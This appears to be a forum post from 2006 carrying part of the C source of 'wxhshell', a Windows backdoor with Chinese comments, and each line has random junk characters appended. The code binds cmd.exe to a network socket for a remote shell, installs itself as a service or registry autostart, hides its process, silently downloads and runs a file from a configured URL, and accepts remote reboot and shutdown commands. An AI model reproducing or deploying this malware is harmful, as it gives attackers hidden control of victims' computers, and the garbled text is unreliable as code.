  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7TpRCq#  
  } Ig9d#c  
  else { g_vm&~U/'  
[x5mPjgw  
    switch(cmd[0]) { w4,]2Ccn.  
  /&(1JqzlB  
  // 帮助 e #M iaX  
  case '?': { J(e7{aRJ9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iDw.i"b  
    break; &\^rQi/tf  
  } U-g9C.  
  // 安装 Xu6K%]i^  
  case 'i': { 036[96t,F  
    if(Install()) t8/%D gu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yj zK.dM  
    else ~RInN+N#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xk,>l6 vc  
    break; ZdH1nX(Yh3  
    } /c#l9&,  
  // 卸载 ! Mo`^ t  
  case 'r': { . :a<2sp6  
    if(Uninstall()) TBnvV 5_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;& |qSa'  
    else 'MN1A;IJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +/y]h 0aa  
    break; gu<V (M\  
    } \[ M_\&GC  
  // 显示 wxhshell 所在路径 $;`I,k$0>~  
  case 'p': { =X@o@1  
    char svExeFile[MAX_PATH]; =|,A%ZGF$  
    strcpy(svExeFile,"\n\r"); =cn~BnowY  
      strcat(svExeFile,ExeFile); ?Ht=[l=  
        send(wsh,svExeFile,strlen(svExeFile),0); )Gb,^NGr  
    break; e:E# b~{  
    } ah+j!e  
  // 重启 PsbG|~  
  case 'b': { 6 D/tK|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x8\<qh*:  
    if(Boot(REBOOT)) h e&V# #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+&JQ"UaB  
    else { Hb!6Z EmN%  
    closesocket(wsh); >DP:GcTG  
    ExitThread(0); 3=- })X ;  
    } !re1EL  
    break; `!i-#~n  
    } [/$N!2'5  
  // 关机 TzKK;(GX  
  case 'd': { sV2iITF p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7&+Ys  
    if(Boot(SHUTDOWN)) `R+,1"5=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@G`Afaf  
    else { " U8S81'  
    closesocket(wsh); ^npJUa  
    ExitThread(0); }C,O   
    } Im)EDTm$  
    break; Uc&iZFid2K  
    } C-w5KW  
  // 获取shell $Q/Ya@o  
  case 's': { -5k2j^r;  
    CmdShell(wsh); #SnvV  
    closesocket(wsh); 9Cvn6{  
    ExitThread(0); X+l'bp]Ry  
    break; :E'P7A  
  } O+"ac /r  
  // 退出 62\&RRB i  
  case 'x': { XYfv(y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %|+E48  
    CloseIt(wsh); @cv{rr  
    break; ST;t, D:  
    } &&7r+.Y  
  // 离开 Oy_c  
  case 'q': { j@| `f((4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &HDP!SLS  
    closesocket(wsh); [BDGR B7d"  
    WSACleanup(); M_|> kp  
    exit(1); !w2gGy:I>  
    break; 6+` tn  
        } Yc;ec9~  
  } n7l%gA*  
  } >]?H`>4(  
e;ty!)]  
  // 提示信息 >EP(~G3u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4["&O=:d  
} -JV~[-,  
  } ( u`W!{1\  
HOZRYIQB  
  return; ! '0S0a8  
} >NM\TLET~  
s9j7Psd  
// shell模块句柄 PDP[5q r  
int CmdShell(SOCKET sock) "A[ b rG  
{ |d}MxS`^  
STARTUPINFO si; UtJa3ya  
ZeroMemory(&si,sizeof(si)); `78V%\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .C bGDZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1-VT}J(  
PROCESS_INFORMATION ProcessInfo; fly,-$K>LO  
char cmdline[]="cmd"; 'q{733o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vrp[r *V@E  
  return 0; 'C>U=cE7  
} ]R IVc3?;$  
xf,5R9g/  
// 自身启动模式 W?XizTW  
int StartFromService(void) 1*Ar{:+ua  
{ ,Em$!n  
typedef struct .}`hCt08  
{ ig_2={Q@  
  DWORD ExitStatus; :i*JnlvZ  
  DWORD PebBaseAddress; XDz5b.,  
  DWORD AffinityMask; ry0%a[[  
  DWORD BasePriority; 9uYyfb: ,z  
  ULONG UniqueProcessId; HeA{3s  
  ULONG InheritedFromUniqueProcessId; }Je>;{&%  
}   PROCESS_BASIC_INFORMATION; ;*cLG#&'M  
{9 PR()_  
PROCNTQSIP NtQueryInformationProcess; !; v~^#M]~  
)^O-X.1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u8vuwbra!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8 0B>L  
r\M9_s8  
  HANDLE             hProcess; N "Wqy  
  PROCESS_BASIC_INFORMATION pbi; Lm%GR[tyQ  
w4:\N U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =f7r69I"  
  if(NULL == hInst ) return 0; {nMAm/kyj  
}!d;(/)rb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *}! MOqP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '0t-]NAc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [aqu }Su  
}e]f  
  if (!NtQueryInformationProcess) return 0; 39TT{>?`w  
O'DW5hBL0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lU2c_4  
  if(!hProcess) return 0; rrBAQY|.  
KMK`F{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7^:4A'  
;LwqTlJ*[L  
  CloseHandle(hProcess); ,|T7hTn=  
pwX C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {]}s#vvy  
if(hProcess==NULL) return 0; @QEqB_W  
Rf"Mr:^  
HMODULE hMod; e}{U7xQm1  
char procName[255]; $t =O:  
unsigned long cbNeeded; 3f76kl(&  
KeBQH8A1N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *nTU# U  
-9Ws=r0R  
  CloseHandle(hProcess); &h~aChJ  
MXvXVhCU  
if(strstr(procName,"services")) return 1; // 以服务启动 B]iP't \~  
 0E/:|k  
  return 0; // 注册表启动 _|{aC1Y!V  
} !?FK We  
e [0w5)X   
// 主模块 Ff4*IOZ}(  
int StartWxhshell(LPSTR lpCmdLine) j tA*pL'/V  
{ >'=MH2;  
  SOCKET wsl; D!LX?_cD1i  
BOOL val=TRUE; 9'~- U  
  int port=0; FG-L0X  
  struct sockaddr_in door; P=8>c'Q  
F?4(5 K  
  if(wscfg.ws_autoins) Install(); kCP$I732  
m <k!^jp  
port=atoi(lpCmdLine); H{G{H=K_  
]B4}eBt5)@  
if(port<=0) port=wscfg.ws_port; %i0\1hhV<  
@xWdO,#  
  WSADATA data; #`SD$;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KLQ!b,=q  
9IZu$-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QLq@u[A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $1Nd_pD=  
  door.sin_family = AF_INET; &jQ?v@|1c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rR{,)fX;  
  door.sin_port = htons(port); &xS a7FY  
pBJAaCGm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tiaR4PB  
closesocket(wsl); L/r@ S'  
return 1; {padD p  
} `$R A< 3  
rAqxTdF  
  if(listen(wsl,2) == INVALID_SOCKET) { {I1~-8  
closesocket(wsl); G*8GGWB^a  
return 1; WQePSU  
} }iN2KeLAF  
  Wxhshell(wsl); 9@VO+E$7L  
  WSACleanup(); HK=[U9 o?  
NX6nQ  
return 0; ' [0AHM  
`sHuM*  
} +V(5w`qx  
I=Zx"'Um  
// 以NT服务方式启动 )9j06(<A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -pb&-@Hul  
{ %!j:fJ()  
DWORD   status = 0; [J#1Ff;  
  DWORD   specificError = 0xfffffff; Bx~[F  
Ubz"rCjq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %b!-~ Y.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2z0n<`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; udqS'g&  
  serviceStatus.dwWin32ExitCode     = 0; Q=cQLf;/'  
  serviceStatus.dwServiceSpecificExitCode = 0; fQLax  
  serviceStatus.dwCheckPoint       = 0; C;B}3g&  
  serviceStatus.dwWaitHint       = 0; Xa 9TS"  
d+L#t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (jWss  V1  
  if (hServiceStatusHandle==0) return; <9A@`_';Aq  
Ka_S n  
status = GetLastError(); >v5k{Cbp0  
  if (status!=NO_ERROR) S01wwZ  
{ N=1JhjVk"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tykB.2f  
    serviceStatus.dwCheckPoint       = 0; 5i So8*9}  
    serviceStatus.dwWaitHint       = 0; (Ye>Cp+]  
    serviceStatus.dwWin32ExitCode     = status; jx`QB')kX  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3K0tC=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gPC@Yy  
    return; W0`Gc {  
  } H:{7X1bV  
{{yt*7k{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Owv +1+B  
  serviceStatus.dwCheckPoint       = 0; YoODR  
  serviceStatus.dwWaitHint       = 0; QL7>;t;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hgc=M  
} W  0[N0c  
keAcKhj  
// 处理NT服务事件,比如:启动、停止 !^fa.I'mM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c@m5 ~  
{ u b?K,  
switch(fdwControl) hq>Csj==@  
{ +SXIZ`  
case SERVICE_CONTROL_STOP: 72db[  
  serviceStatus.dwWin32ExitCode = 0; n]!fO 6kj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mry N}  
  serviceStatus.dwCheckPoint   = 0; &lc8G  
  serviceStatus.dwWaitHint     = 0; L):qu  
  { LxN*)[Wb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4/> Our 5  
  } 2s ,8R  
  return; P* #8 ZMA<  
case SERVICE_CONTROL_PAUSE: J]/}ojW3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w=b(X q+:  
  break; XAOak$(j  
case SERVICE_CONTROL_CONTINUE: @Cq? :o<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L):U"M>]=  
  break; 4g _"ku  
case SERVICE_CONTROL_INTERROGATE: Lm)\Z P+W  
  break; 5MxL*DB=b  
}; D@YP7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p#8W#t$  
} {==pZpyyh  
=(r* 5vd  
// 标准应用程序主函数 $6f\uuTU2"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B)SLG]72f  
{ vFmJ;J  
vxlOh.a|/L  
// 获取操作系统版本 wzcai 0y*  
OsIsNt=GetOsVer(); USML~]G z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0(>rG{u  
ph:3|d  
  // 从命令行安装 Mio>{%/  
  if(strpbrk(lpCmdLine,"iI")) Install(); g9h(sLSF  
h+7>#*DH  
  // 下载执行文件 XFZ~ #DT&  
if(wscfg.ws_downexe) { }2>"<)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qB6dFl\ (  
  WinExec(wscfg.ws_filenam,SW_HIDE); <|6%9@  
} 0&Gl@4oZ"  
M++0zhS  
if(!OsIsNt) { y&T&1o  
// 如果时win9x,隐藏进程并且设置为注册表启动 (g8*d^u#PO  
HideProc(); tl8O6`<Z  
StartWxhshell(lpCmdLine); +RZ~LA \+  
} =ZYThfAEw  
else Y#V8(DTyH  
  if(StartFromService()) P<dy3 ;  
  // 以服务方式启动 VkmRh,T  
  StartServiceCtrlDispatcher(DispatchTable); D@Da0  
else J@"utY6N  
  // 普通方式启动 H:&?ha,9  
  StartWxhshell(lpCmdLine); "`tXA  
0Dv JZ|e  
return 0; P!g-X%ngo  
}
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只看该作者 1 发表于: 2006-10-10
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